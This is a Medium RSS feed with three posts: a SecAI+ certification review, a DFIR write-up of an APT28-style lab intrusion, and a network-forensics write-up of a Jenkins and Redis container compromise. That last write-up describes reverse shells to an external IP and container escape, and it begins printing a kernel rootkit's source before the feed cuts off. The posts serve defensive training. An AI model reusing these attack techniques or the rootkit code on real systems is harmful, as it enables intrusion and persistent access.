<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Khoa on Medium]]></title>
        <description><![CDATA[Stories by Khoa on Medium]]></description>
        <link>https://medium.com/@kltran0306?source=rss-0e38486fa80e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*X5s1T6UUylUGc88b3k4oOA.jpeg</url>
            <title>Stories by Khoa on Medium</title>
            <link>https://medium.com/@kltran0306?source=rss-0e38486fa80e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 10:58:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@kltran0306/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CompTIA SecAI+ (CY0–001): An Honest Review from a Security Analyst]]></title>
            <link>https://medium.com/@kltran0306/comptia-secai-cy0-001-an-honest-review-from-a-security-analyst-cd4150c67ddf?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/cd4150c67ddf</guid>
            <category><![CDATA[learning]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[review]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Sun, 09 Aug 2026 02:40:19 GMT</pubDate>
            <atom:updated>2026-08-09T02:40:19.707Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*60O4SoV21eDnOX6iuL0VbA.png" /></figure><h3>Why I Took It</h3><p>I did not take the CompTIA SecAI+ because AI is a buzzword on my LinkedIn feed. I took it because of this question I asked myself: when the business inevitably starts hosting or consuming AI at scale, what are the actual controls I should be asking for? Prompt firewall? API Gateway rate limits? Data masking before ingestion? Where does the old school security engineering, such as EDR/ or vulnerability management muscle memory carry over, and where does it stop? Am I caught up to the modern security controls?</p><p>By the time I registered for SecAI+ (CY0–001), I had spent several years on the defensive side of an environment where PCI DSS, SOX, and SOC 2 are not slides but quarterly conversations with auditors. My certification path had been deliberately layered: CompTIA Security+ for the vocabulary, Microsoft AZ-500 for cloud security in Azure and Entra ID, ISC2 SSCP for the security operations lens, Cisco CCNA to force myself to understand traffic at the packet level, and TCM Security’s PNPT to sit on the other side of the table and think like the offense. SecAI+ was the next logical step, not because I intended to become an AI engineer, but because the security controls surrounding AI systems are becoming table stakes for anyone doing GRC-adjacent work in a regulated shop.</p><h3>What Does It Cover</h3><p>SecAI+ is a 60-question, 60-minute exam scored on a 100–900 scale with a 600 passing threshold. It uses a mix of multiple-choice and performance-based items. CompTIA’s own recommended experience is 3–4 years of IT with roughly two years of hands-on cybersecurity, which sets the expectation that this is not an introductory certification, even if the questions themselves are approachable to anyone with a solid Security+ foundation.</p><p>The four domains and their weightings tell you almost everything you need to know about the exam’s philosophy. Basic AI Concepts Related to Cybersecurity carries 17%, enough to force you to understand the difference between supervised and unsupervised learning, what a transformer is, why RAG matters, and how prompt engineering styles like zero-shot, one-shot, multi-shot, system prompts, and templates each shape model behavior. Securing AI Systems is the biggest slice at 40%, and it is the true heart of the exam. AI-assisted Security accounts for 24% and covers using AI as a security professional’s tool, threat modeling, summarization, code analysis, log triage, and automation. AI Governance, Risk, and Compliance rounds out the exam at 19% and pulls in frameworks like the EU AI Act, OECD AI Principles, ISO/IEC 42001, and the NIST AI RMF.</p><p>The most important expectation to set is that this cert is not going to make you an AI red teamer. It is not a pentesting certification for AI systems. If you are hoping to leave the exam prep able to develop novel prompt injection chains, build adversarial ML attacks against production models, or reverse-engineer proprietary embeddings, look elsewhere. What SecAI+ is genuinely good at is teaching the mindset and the methodology of hosting and operating AI safely, whether on-prem or in the cloud, with guardrails, encryption, least privilege, monitoring, and governance wrapped around it. Read the exam name literally: Security for AI, from a defender’s and governance-owner’s perspective. Once I accepted that framing early in the CertMaster course, the material clicked.</p><h3><strong>What Stood Out</strong></h3><p><em>Study Materials: CertMaster Course &amp; Lab</em></p><p>The single most valuable content area, in my opinion, is Secure Data Handling. It is embedded across the exam objectives, in data processing, data types, watermarking, RAG, and the data safety measures. The reason is simple: an AI system is only as trustworthy as what you feed it. Every LLM deployment I have watched go sideways in the industry has been, at its root, either a data or over permission problem. Sensitive data leaking into fine-tuning corpora. PII slipping into RAG indexes. Log outputs echoing masked-but-not-really-masked values back to a user. The cert takes this seriously and walks you through the compensating controls that matter: anonymization, redaction, masking, minimization, classification labeling, and the encryption tier: in transit, at rest, and increasingly in use.</p><p>The other genuinely new lesson for me was architectural. Most people understand what a WAF does, and anyone who has ever fronted an API with rate limits has touched an API Gateway. What I had not internalized was how Prompt Firewalls slot in alongside those existing controls in an AI-serving stack. It is not a case of one replacing the others — they coexist, and each covers a different layer of the request. The WAF handles the web-layer nastiness you already understand. The API Gateway enforces authentication, throttling, API rate limits, and endpoint access controls. The Prompt Firewall inspects the actual prompt content for injection, secret exfiltration attempts, and policy violations before it reaches the model. Seeing that layered picture drawn out and then reinforced through hands-on lab work, was one of the more useful conceptual gains from the entire course.</p><p>The labs, without saying anything I should not say about them, do a legitimate job of backing the conceptual material. They walk you through the sort of cloud resource setup you would actually do to host an LLM for enterprise use: configuring the model, setting system prompts and personas, managing token consumption and enforcing token limits, building and tuning RAG resources, applying guardrails, and monitoring cost and performance. It is not an ML engineering course, so you are not training foundation models from scratch, but it is the applied security engineering that surrounds those deployments, which is exactly the layer a defender needs to own.</p><h3>How Your Security Experience Could Transfer</h3><p>If you already work in security, especially in a regulated environment, more of your existing muscle transfers than you might expect. My compliance work at a financial services company, such as PCI DSS around cardholder data, SOX around change control and access governance, SOC 2 around the trust services criteria mapped almost one-to-one onto the AI Governance, Risk, and Compliance domain. When the material talks about AI policies, procedures, human-in-the-loop oversight, model registries, change control for AI changes that affect security posture, and third-party compliance evaluations, none of that is genuinely new to a working GRC-adjacent practitioner. It is the same governance vocabulary applied to a new asset class. That gave me a real advantage on the 19% of the exam devoted to this domain, and it is the reason I think anyone doing compliance work in a regulated shop will find that portion of the material feels like home.</p><p>The cloud security background was even more directly relevant. The labs lean on Azure: Azure OpenAI Service, Azure AI Foundry, Azure AI Search for RAG indexing, Blob Storage for artifact retention, Logic Apps for orchestration, API Management for gateway controls, and Azure Monitor for observability. Everything from the resource group navigation to the role-based access model to the way diagnostic settings surface felt familiar. If you have already earned AZ-500 or relevant certifications/trainings, you will spend zero cognitive energy on the environment itself and can focus entirely on the AI-specific configurations. If you have not, the labs are still doable, but expect to burn some cycles on Azure orientation.</p><p>The rest of the stack contributed in less obvious ways. Security+ and SSCP gave me the vocabulary for encryption tiers, key management, and the CIA triad framing that runs through the data security objectives. CCNA turned out to matter more than I expected, because when the course discusses how AI traffic flows through gateways, firewalls, and private endpoints, thinking about it at the network layer keeps you grounded. And PNPT, even though SecAI+ is governance-focused, was quietly useful, understanding the offensive perspective made the defensive material easier to reason about, because you are always answering the implicit question: what am I actually defending against?</p><h3>Who Should Take It (And Who Should Not)</h3><p>I recommend SecAI+ to anyone doing enterprise security work who expects to encounter AI systems in their environment in the next couple of years. which, at this point, is essentially everyone. For an experienced security analyst/engineer or GRC analyst, this cert will sharpen how you think about a class of systems your organization is likely already piloting whether you know about it or not. It will give you the vocabulary to ask the right questions of engineering teams standing up LLM deployments and the mental models to evaluate whether the controls they have chosen are adequate.</p><p>For entry-level analysts, my recommendation is less conventional. CompTIA’s own recommended experience is three to four years of IT and around two of hands-on cybersecurity, and I do not disagree that the material sits more comfortably on top of that base. But I would still encourage a newer analyst to pursue this cert, with a caveat. You may not be able to immediately apply the AI Governance concepts at an enterprise level from your junior seat, and that is fine. In this AI era, the more you understand about safeguarding AI systems, the better positioned you are when the conversations inevitably reach your team. You can build your own homelab, spin up an OpenWebUI instance, wire it into an Ollama-hosted model, experiment with RAG pipelines, and practice the same patterns the labs teach. The concepts scale down cleanly to a personal project.</p><p>The people I would specifically point elsewhere are those looking for offensive depth or ML engineering rigor. If you want to become an AI red teamer capable of chaining prompt injection attacks against production LLM applications, testing model extraction against a target, or building novel adversarial examples, SecAI+ is not that cert. It will teach you enough about those attack classes to understand what your controls are defending against, but it will not turn you into a practitioner of them. For that side of the discipline, I would point people toward BlackHills InfoSec and their Antisyphon Training arm, which have consistently produced strong hands-on offensive AI content and would be a much better fit for building red team AI muscle. Similarly, if your goal is to become an ML engineer or data scientist, look at courses built for those career tracks because SecAI+ will not teach you PyTorch or the mathematics of gradient descent, nor is it trying to.</p><h3>My Humble Perspective</h3><p>If you are still on the fence, my honest recommendation is straightforward: just go for it. Sixty questions in sixty minutes is one of the more approachable exam formats you will encounter compared to the multi-hour ordeals of some other certifications. The material rewards focused study rather than marathon cramming, and the labs do a fair job of anchoring the conceptual content in something you can actually see and touch. Whether you have three years of experience or three months, whether you plan to sit the exam or just want to read through the learning materials for the knowledge itself, there is enough value here to justify the time.</p><p>The unspoken argument for taking SecAI+ now, rather than waiting for a more mature offering, is that AI systems are showing up in production environments faster than defensive tooling and defensive thinking are keeping pace. Getting your head around secure data handling, gateway controls, model monitoring, and the governance frameworks that will drive regulatory expectations puts you in front of that curve rather than behind it. Even if the certification itself never materially changes your resume, the mental models will change how you assess AI risk, and that is what actually matters when a business unit shows up next quarter with a plan to launch an AI-powered customer-facing tool and asks whether it is safe to ship.</p><p>Thank you for reading and happy learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cd4150c67ddf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DFIR Report: APT28]]></title>
            <link>https://medium.com/@kltran0306/dfir-report-apt28-7831719c731a?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/7831719c731a</guid>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 22:04:52 GMT</pubDate>
            <atom:updated>2026-04-21T15:20:04.461Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*81Kc5Ii_-CJctDaIBGdwVQ.png" /></figure><h3>Scenario:</h3><p>The SOC team was notified by the IT department regarding a potentially compromised workstation recently reassigned to a new government employee named Keela. Upon receiving the workstation, Keela reported unusually slow performance and suspected the system had not been properly cleaned before being handed over. The IT team initiated a routine cleanup but identified indicators of suspicious activity suggesting that the machine, and possibly the department’s website may have been previously compromised.</p><p>As a forensics investigator, you have been provided with a disk image of Keela’s workstation. Your task is to perform a comprehensive investigation to uncover any signs of malicious activity, reconstruct the timeline of events, and assess the scope and impact of the potential compromise.</p><p>Tactics: Persistence, Privilege Escalation, Defense Evasion</p><p>Tools: DB Browser for SQLite, Registry Explorer, NTFS Log Analyzer, Timeline Explorer, Eric Zimmerman Tools, VirusTotal</p><p>Lab: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/spooler-apt28/">Blue team CTF Challenges | Spooler — APT28 — CyberDefenders</a></p><h3>Executive Summary:</h3><p>On <strong>2025–08–10</strong>, a user on workstation <strong>GOV-HR07</strong> executed a malicious shortcut file contained in a downloaded archive originating from an internal web resource. The execution of the shortcut triggered the remote execution of an HTA script, which subsequently staged malicious payload components on the system. Evidence indicates that the payload utilized <strong>DLL search order hijacking</strong> to execute malicious code by placing a rogue wininet.dll alongside a renamed executable (edge.exe, original filename calc.exe).</p><p>Following initial execution, the attacker established persistence through a malicious Windows service named <strong>edgeupdate</strong> and configured an additional persistence mechanism leveraging the <strong>Print Spooler service</strong> to attempt loading a remote DLL payload (\\google.gov\debug\spooler.dll). Event logs show multiple failed attempts by the system to load this remote DLL due to network path errors.</p><p>Subsequent attacker activity included reconnaissance for privilege escalation opportunities using winpeasx64.exe and exploitation of the <strong>AlwaysInstallElevated</strong> Windows Installer configuration to obtain SYSTEM-level privileges.</p><h3>Key Takeaways:</h3><ul><li>Initial access occurred through execution of a <strong>malicious shortcut file within a downloaded archive</strong>.</li><li>The shortcut triggered <strong>remote HTA execution through </strong><strong>mshta.exe</strong>, staging malware locally.</li><li>Malware utilized <strong>DLL search order hijacking</strong> via a malicious wininet.dll placed beside edge.exe.</li><li>Persistence was established through a <strong>Windows service (</strong><strong>edgeupdate)</strong>.</li><li>Additional persistence leveraged the <strong>Print Spooler service attempting to load a remote DLL</strong>. The attacker attempted to load a remote DLL from a network share, indicating possible <strong>internal staging infrastructure</strong>.</li><li>Privilege escalation was attempted using <strong>WinPEAS enumeration followed by Windows Installer abuse.</strong></li><li>Defender protection was disabled on the system.</li></ul><h3>Environment Review:</h3><p><strong>Host information: </strong>GOV-HR07<br><strong>Operating System: </strong>Windows 10 Enterprise 19045<br><strong>Timezone: </strong>SE Asia Standard Time<br><strong>Accounts Present: </strong>Admin, Yanis (Senior HR Officer), Keela (Junior HR Officer)</p><p><strong>Evidence Source:</strong></p><ul><li>Registry artifacts (<em>DEFAULT, SYSTEM, SAM, SOFTWARE, SECURITY, NTUSER.DAT (Network Services, Local Servces, admin, yanis, keela)</em>)</li><li>Execution artifacts (<em>Shimcache, Amcache, Prefetch</em>)</li><li>NTFS artifacts (<em>$MFT, $J</em>)</li><li>Browser history</li><li>Event Logs</li></ul><h3>Intrusion Summary:</h3><p>The investigation indicates that the compromise began when the user <strong>Yanis</strong> downloaded a ZIP archive from an internal web resource (hr.welfare.gov). Shortly after downloading the archive, the user executed a malicious shortcut (Printing_Guideline.lnk) located inside the archive. This shortcut launched a remote HTA script via mshta.exe, which staged malicious files on the system.</p><p>The HTA execution dropped two files in the user temporary directory: edge.exe and wininet.dll. Analysis revealed that edge.exe was a renamed executable whose original filename was calc.exe. The presence of wininet.dll in the same directory enabled the malware to hijack the DLL search order, causing Windows to load the malicious DLL instead of the legitimate system library.</p><p>Persistence was achieved through creation of a Windows service named <strong>edgeupdate</strong>, allowing the malicious payload to execute automatically at system startup. Additionally, the attacker configured another persistence method using the Print Spooler service to attempt to load a DLL from a remote network path.</p><p>Several days later, the attacker deployed winpeasx64.exe to identify privilege escalation opportunities and subsequently exploited the Windows Installer <strong>AlwaysInstallElevated</strong> configuration to obtain elevated privileges.</p><h3>Intrusion Timeline:</h3><h4><strong>Initial Access:</strong></h4><p>Timestamp: 2025–08–10 11:11:34<br>Event: user downloaded archive: <em>C:\Users\yanis\Downloads\New_Guidelines_for_HR.zip</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a6wd-xI32amn-6yLOOrLog.png" /><figcaption>Source: browser history</figcaption></figure><h4>Execution:</h4><p>Timestamp: 2025–08–10 11:12:17<br>Event: execution of malicious shortcut: <em>C:\Users\yanis\Downloads\New_Guidelines_for_HR\Printing_Guideline.lnk</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/561/1*qr_hxy_0Hp7FCO0slmbKfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*CoBVy1tVPWCBPUOPNvjhjg.png" /><figcaption>Source: UserAssist registry artifact</figcaption></figure><p>Timestamp: 2025–08–10 11:12:18<br>Event: HTA script execution: <em>staging[1].hta</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*EPgDe1PB3H0yKInFKPS_GQ.png" /><figcaption>Source: Prefetch</figcaption></figure><h4>Defense Evasion:</h4><p>Timestamp: 2025–08–10 11:12:18<br>Event: malicious files created:<br>- C:\Users\yanis\AppData\Local\Temp\edge.exe<br>- C:\Users\yanis\AppData\Local\Temp\wininet.dll</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w0Tveo2g6z4HIJn0R4BpSQ.png" /><figcaption>Source: $MFT timeline</figcaption></figure><h4>Persistence:</h4><p>Service Name: edgeupdate<br>Registry Path: HKLM\SYSTEM\ControlSet001\Services\edgeupdate</p><p>Print Spooler Persistence: <br>- Configured DLL: \\google.gov\debug\spooler.dll</p><p>Failed load attempts recorded in event logs:<br>- 2025–08–13 15:52:31<br>- 2025–08–15 13:21:09<br>- 2025–08–17 07:16:03</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*27pe5ik9pgjffmViptX58A.png" /><figcaption>Source: Event ID 808</figcaption></figure><h4>Discovery:</h4><p>Timestamp: 2025–08–12 04:46:11<br>Tool Executed: winpeasx64.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k0-8lytbOxjliXTktzLtQA.png" /><figcaption>Source: Event ID 4799</figcaption></figure><h4>Privilege Escalation:</h4><p>Timestamp: 2025–08–12 04:52:43<br>Installer executed: C:\Users\yanis\AppData\Local\Temp\ekYyxTyqUJQj.msi<br>Registry misconfiguration exploited: AlwaysInstallElevated</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10H_mHJU6gsIIkrG40Xlrg.png" /><figcaption>Source: Event logs</figcaption></figure><h3>MITRE ATT&amp;CK Mapping:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*I2bj-HQVm5Fsug0yaZhZAw.png" /></figure><h3>Timeline:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*HgkEKxYV2Zw9GsL_GzQAWg.png" /></figure><h3>Indicators of Compromise:</h3><p>Files:</p><ul><li>C:\Users\yanis\Downloads\New_Guidelines_for_HR.zip</li><li>C:\Users\yanis\Downloads\New_Guidelines_for_HR\Printing_Guideline.lnk</li><li>C:\Users\yanis\AppData\Local\Temp\edge.exe</li><li>C:\Users\yanis\AppData\Local\Temp\wininet.dll</li><li>C:\Users\yanis\AppData\Local\Temp\ekYyxTyqUJQj.msi</li></ul><p>Network:</p><ul><li>hr.welfare.gov</li><li>\\google.gov\debug\spooler.dll</li></ul><p>Service:</p><ul><li>edgeupdate</li></ul><p>Hash:</p><ul><li>58189cbd4e6dc0c7d8e66b6a6f75652fc9f4afc7ce0eba7d67d8c3feb0d5381f</li></ul><h3>Recommendations:</h3><p>Endpoint Hardening:</p><ul><li>Disable AlwaysInstallElevated through group policy (<a href="https://www.syxsense.com/syxsense-securityarticles/cis_benchmarks/syx-1033-15765.html">Ensure ‘Always install with elevated privileges’ is set to ‘Disabled’ (USER) (CIS LEVEL 1)</a>).</li></ul><p>Service Monitoring:</p><ul><li>Alert on creation of new Windows services (<a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4697">4697(S) A service was installed in the system. — Windows 10 | Microsoft Learn</a>).</li></ul><p>Spooler Hardening:</p><ul><li>Disable Print Spooler where not required (<a href="https://calcomsoftware.com/printspooler-vulnerability/">Print Spooler Best Practices and Hardening Configurations</a>).</li></ul><p>Enhance Logging:</p><ul><li>Monitor when event log service is stopped.</li><li>Monitor when event logs are deleted.</li><li>Install and tune sysmon if possible.</li><li>Monitor mshta.exe commands (this will require detection engineering) (<a href="https://www.manageengine.com/log-management/detection-rules/mshta-suspicious-execution-01.html">MSHTA Suspicious Execution 01 — Detection rules | ManageEngine Log360</a>)</li></ul><h3>Conclusion:</h3><p>The forensic investigation determined that the compromise of workstation <strong>GOV-HR07</strong> began when user <strong>Yanisara Denthongkul</strong> downloaded and executed a malicious shortcut file contained within an archive retrieved from an internal web resource. Execution of the shortcut initiated the infection chain by invoking mshta.exe, which retrieved and executed a remote HTA script that staged malware components within the user’s temporary directory. These components included edge.exe and a malicious wininet.dll, enabling execution through <strong>DLL Search Order Hijacking</strong>.</p><p>Following initial execution, the attacker established persistence through the creation of a Windows service named <strong>edgeupdate</strong> and configured an additional mechanism leveraging the <strong>Print Spooler service</strong> to attempt loading a remote DLL from a network path. Event logs indicate multiple failed attempts by the system to load the remote DLL, suggesting the persistence mechanism was configured but not fully operational at the time the artifacts were captured.</p><p>Several days after the initial compromise, the attacker conducted privilege escalation reconnaissance using <strong>winpeasx64.exe</strong>, followed by execution of a malicious MSI installer that exploited the <strong>AlwaysInstallElevated</strong> Windows Installer configuration to obtain elevated privileges on the system.</p><p>No evidence of lateral movement, credential harvesting, or data exfiltration was identified within the available artifacts. However, the presence of multiple persistence mechanisms and privilege escalation activity indicates the attacker intended to maintain long-term access to the compromised host. Strengthening endpoint hardening policies, restricting execution of living-off-the-land binaries such as mshta.exe, and disabling insecure configurations like <strong>AlwaysInstallElevated</strong> would significantly reduce the likelihood of similar compromises in the future.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7831719c731a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Network Forensics: RedisShell — Kinsing Lab]]></title>
            <link>https://medium.com/@kltran0306/network-forensics-redisshell-kinsing-lab-1159f167a721?source=rss-0e38486fa80e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1159f167a721</guid>
            <category><![CDATA[case-study]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <dc:creator><![CDATA[Khoa]]></dc:creator>
            <pubDate>Tue, 03 Mar 2026 22:59:18 GMT</pubDate>
            <atom:updated>2026-04-01T22:04:08.092Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Investigating a multi-stage container compromise from initial exploit to persistent rootkit access.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/471/1*eNvddg9wbbGrvyOhowzGtA.jpeg" /></figure><h3>Scenario:</h3><p>Before the ransomware deployment, the attackers established initial access through a misconfigured CI/CD server running in a Docker container within Wowza’s development network. Security monitoring detected unusual outbound connections from the container subnet to a suspicious external IP address. A packet capture was initiated automatically but was terminated when the attacker discovered and killed the monitoring process. Your task is to analyze this network traffic to understand how the attackers gained their initial foothold and moved laterally within the containerized environment.</p><h3><strong>Summary:</strong></h3><p>Security monitoring identified suspicious HTTP activity directed at an internal containerized service. Packet analysis revealed exploitation of a <strong>Jenkins web application (version 2.387.1)</strong> hosted on <strong>172.16.10.10</strong>, where an attacker leveraged a vulnerable endpoint to execute arbitrary commands through HTTP POST requests.</p><p>Following successful code execution, the attacker established a reverse shell to external infrastructure at <strong>185.220.101.50</strong>, enabling interactive control of the compromised container. Subsequent actions included system enumeration using the <strong>LinPEAS privilege escalation script</strong>, credential harvesting from Jenkins configuration files, and lateral movement to a second container running Redis via <strong>Telnet authentication</strong>.</p><p>After gaining access to the Redis container (<strong>172.16.10.20</strong>), the attacker exploited a Redis Lua subsystem vulnerability to escalate privileges, then executed a container escape exploiting <strong>CVE-2022–0492</strong> to gain access to the underlying host. The attacker established persistence by uploading a <strong>kernel-level rootkit</strong> designed to spawn periodic reverse shells to the command-and-control infrastructure.</p><p>The investigation also revealed anti-forensic activity where the attacker terminated an active packet capture process, indicating awareness of monitoring controls.</p><p>Investigator Tools: NetworkMiner, Wireshark</p><h3><strong>Key Takeaways:</strong></h3><ul><li>A publicly exposed Jenkins endpoint allowed remote command execution via HTTP POST requests.</li><li>The attacker established reverse shell access to external infrastructure (<strong>185.220.101.50</strong>) shortly after exploitation.</li><li>Credentials stored in plaintext within Jenkins enabled lateral movement to an internal Redis container.</li><li>Use of the <strong>Telnet protocol</strong> allowed credential interception due to lack of encryption.</li><li>Privilege escalation was achieved via a Redis Lua scripting vulnerability.</li><li>A container escape allowed compromise of the underlying host.</li><li>The attacker deployed a <strong>kernel-level rootkit with periodic reverse shells</strong> for persistence.</li><li>Monitoring controls were disrupted when the attacker terminated a packet capture process.</li></ul><h3>Environment Overview:</h3><p>Evidence indicates the environment consists of a containerized internal network.</p><p><strong>Observed network indicators:</strong></p><p>Internal subnet:</p><pre>172.16.10.0/24<br>192.168.192.0/24</pre><p><strong>Compromised systems:</strong></p><ul><li>Jenkins container | 172.16.10.10 | Initial Compromise</li><li>Redis container | 172.16.10.20 | Lateral Movement</li></ul><p><strong>External infrastructure:</strong></p><p>Command and Control =&gt; 185.220.101.50</p><p>Evidence suggests the environment allowed <strong>outbound connections from containers</strong>, enabling reverse shells and external downloads.</p><p>JA3 fingerprint observed in HTTP activity:</p><pre>JA3 Hash: f143f1d3f0314aed6d8887d3e8</pre><h3><strong>Intrusion Summary:</strong></h3><p>The attacker began by exploiting a Jenkins web application endpoint that permitted arbitrary command execution. HTTP POST requests were crafted to run system commands, first confirming code execution by reading /etc/passwd.</p><p>Once access was confirmed, the attacker launched a reverse shell to external infrastructure and began enumerating the compromised system. During enumeration, credentials were discovered within Jenkins configuration files.</p><p>Using the harvested credentials, the attacker laterally moved to a Redis container using Telnet authentication. After escalating privileges through a Redis Lua scripting vulnerability, the attacker executed a container escape to gain host-level access.</p><p>The attacker then established persistence through installation of a kernel rootkit capable of spawning periodic reverse shells and attempted to conceal activity by terminating packet capture monitoring.</p><h3>Network Timeline:</h3><h4>Initial Access:</h4><p>2025–11–25 03:48:17 UTC<br>Command Execution<br>HTTP POST<br>185.220.101.50 → 172.16.10.10<br>Attacker executes system command to verify code execution</p><p>HTTP POST requests containing command execution payloads were observed targeting the Jenkins server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*EhuFRoVa9LUOir9q2rt46Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*rtSTGx4rqWF_Hh-lXE7Edg.jpeg" /></figure><h4>Reconnaissance:</h4><p>2025–11–25 03:48:35 UTC<br>Recon<br>HTTP POST<br>185.220.101.50 → 172.16.10.10<br>Reads /etc/passwd to validate command execution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*IeGIJeGV7sw2w2-qG6zETw.jpeg" /></figure><h4><strong>Command and Control Establishment:</strong></h4><p>2025–11–25 03:50:xx UTC<br>Reverse Shell<br>TCP<br>172.16.10.10 → 185.220.101.50:4444<br>Reverse shell established to attacker infrastructure</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y3r8He_FGuiKcJ6LsY0f5A.jpeg" /></figure><h4><strong>Post-Exploitation:</strong></h4><p>2025–11–25 ~03:51:xx UTC<br>File Transfer<br>HTTP<br>172.16.10.10 → external repo<br>Download of LinPEAS enumeration script</p><p>Download of linpeas.sh indicates privilege escalation reconnaissance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LA5r1mnovsXYdxi264-zkQ.jpeg" /></figure><h4><strong>Credential Access:</strong></h4><p>Credential Harvesting<br>Local File Access<br>172.16.10.10 <br>Attacker reads credential file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kSsPqok1F8DIwvLbzGn3oA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*8a8xBx2rxF3Dl6sHG2cnnQ.jpeg" /></figure><h4><strong>Lateral Movement:</strong></h4><p>Lateral Movement<br>Telnet<br>172.16.10.10 → 172.16.10.20<br>Unencrypted authentication to Redis container</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZRqw4OIavfptAqHv1IpBg.jpeg" /></figure><h4><strong>Privilege Escalation:</strong></h4><p>Exploit Upload<br>Telnet/File Transfer<br>Attacker → Redis container<br>Upload of Lua exploit script</p><p>Exploit Execution<br>Redis scripting<br>Redis container<br>Privilege escalation via Redis Lua subsystem</p><p>Exploit file: <em>exploit.lua<br></em>Exploited binary: <em>/usr/local/bin/redis-backup</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Xr80_GByUJ-chx7cN1Kkw.jpeg" /></figure><h4><strong>Container Escape:</strong></h4><p>Container Escape<br>HTTP download<br>Redis container → C2<br>Download and execution of container escape script</p><p>Executed script: <em>escape.sh</em><br>Reverse shell established: <em>172.16.10.20 → 185.220.101.50:5555</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5tIX041Rd4MsAwffIM3sYA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*Xbggr0DTlrBUAfhI2FnPVw.jpeg" /></figure><h4><strong>Persistence:</strong></h4><p>2025–11–25 03:56:xx UTC<br>File Upload<br>HTTP POST<br>Host → 192.168.192.6:8000<br>Rootkit source code uploaded to host</p><p>Evidence shows HTTP file upload request containing a Linux kernel rootkit source file.</p><p>Uploaded files:<br><em>kernel-rootkit.c<br>Makefile<br>install-rootkit.sh</em></p><p>The rootkit was designed to:</p><ul><li>Spawn reverse shells</li><li>Hide kernel module</li><li>Install systemd persistence</li><li>Trigger periodic callbacks to attacker infrastructure</li></ul><pre>/*<br> * Advanced Linux Kernel Rootkit<br> * Educational Purpose Only<br> * <br> * Features:<br> * - Automatic reverse shell on load<br> * - Periodic reverse shells (every 5 minutes)<br> * - Hidden from lsmod<br> * - Systemd persistence (auto-reload on boot)<br> * - Difficult to detect and remove<br> */<br><br>#include &lt;linux/module.h&gt;<br>#include &lt;linux/kernel.h&gt;<br>#include &lt;linux/init.h&gt;<br>#include &lt;linux/kmod.h&gt;<br>#include &lt;linux/sched.h&gt;<br>#include &lt;linux/timer.h&gt;<br>#include &lt;linux/jiffies.h&gt;<br><br>MODULE_LICENSE(&quot;GPL&quot;);<br>MODULE_AUTHOR(&quot;System&quot;);<br>MODULE_DESCRIPTION(&quot;System Performance 